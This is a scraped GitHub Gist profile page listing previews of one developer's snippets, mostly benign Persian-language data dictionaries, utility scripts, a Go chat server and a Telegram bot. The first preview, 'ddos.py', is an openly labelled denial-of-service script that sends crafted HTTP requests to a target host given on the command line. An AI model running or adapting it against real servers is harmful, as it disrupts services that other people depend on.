Skip to content

Instantly share code, notes, and snippets.

View hamidfzm's full-sized avatar
🔥
Working from Hell

Hamid Feizabadi hamidfzm

🔥
Working from Hell
View GitHub Profile
@hamidfzm
hamidfzm / ddos.py
Created February 11, 2014 11:26 — forked from tinnguyenz/ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@hamidfzm
hamidfzm / iran_state_&_cities.py
Created July 18, 2015 19:36
Iran states and cities python dictionary
# -*- coding: utf-8 -*-
__author__ = 'Hamid FzM'
IRAN = {
"قم": [
"قم"
],
"کرمانشاه": [
"اسلام‌آباد غرب",
"پاوه",
@hamidfzm
hamidfzm / persian_country_names.py
Created July 18, 2015 19:43
All country names with their two word name
# -*- coding: utf-8 -*-
__author__ = 'Hamid FzM'
persian_country_names = [
['IR', unicode('ایران', 'utf8')],
['AZ', unicode('آذربایجان', 'utf8')],
['AR', unicode('آرژانتین', 'utf8')],
['ZA', unicode('آفریقای جنوبی', 'utf8')],
['AL', unicode('آلبانی', 'utf8')],
['DE', unicode('آلمان', 'utf8')],
@hamidfzm
hamidfzm / normalizer.py
Created October 7, 2015 19:39
epub persian normalizer script
# -*- coding: utf-8 -*-
from hazm import Normalizer
from zipfile import ZipFile, ZIP_DEFLATED
import argparse
import binascii
import re
import os
import shutil
@hamidfzm
hamidfzm / chat.go
Created February 5, 2016 23:53
simple golang chat server
package main
import (
"bufio"
"net"
)
type Client struct {
incoming chan string
outgoing chan string
@hamidfzm
hamidfzm / udocf.sh
Created August 28, 2019 11:35 — forked from 5lx/udocf.sh
Update Digital Ocean Floating IP and Cloudflare DNS Record
#!/bin/bash
DO_TOKEN=
DO_API=https://api.digitalocean.com/v2
CF_API_KEY=
CF_AUTH_EMAIL=
CF_ROOT_DOMAIN=
CF_RECORD=
CF_API=https://api.cloudflare.com/client/v4
diff --git a/node_modules/react-native-gesture-handler/android/build/.transforms/5dc49dbe2ce7ec9b835fef71e3502041.bin b/node_modules/react-native-gesture-handler/android/build/.transforms/5dc49dbe2ce7ec9b835fef71e3502041.bin
new file mode 100644
index 0000000..e69de29
diff --git a/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java b/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java
new file mode 100644
index 0000000..b20644c
--- /dev/null
+++ b/node_modules/react-native-gesture-handler/android/build/generated/source/buildConfig/release/com/swmansion/gesturehandler/react/BuildConfig.java
@@ -0,0 +1,18 @@
+/**
@hamidfzm
hamidfzm / bot.sh
Created January 22, 2023 08:09
Telegram Bot using cURL and bash (Quick)
#!/bin/bash
CHAT_ID="Your chat id"
TOKEN="Your token"
APP=$1
TITLE=$2
BODY=$3
TIME=$(/opt/homebrew/bin/gdate -d "@$4")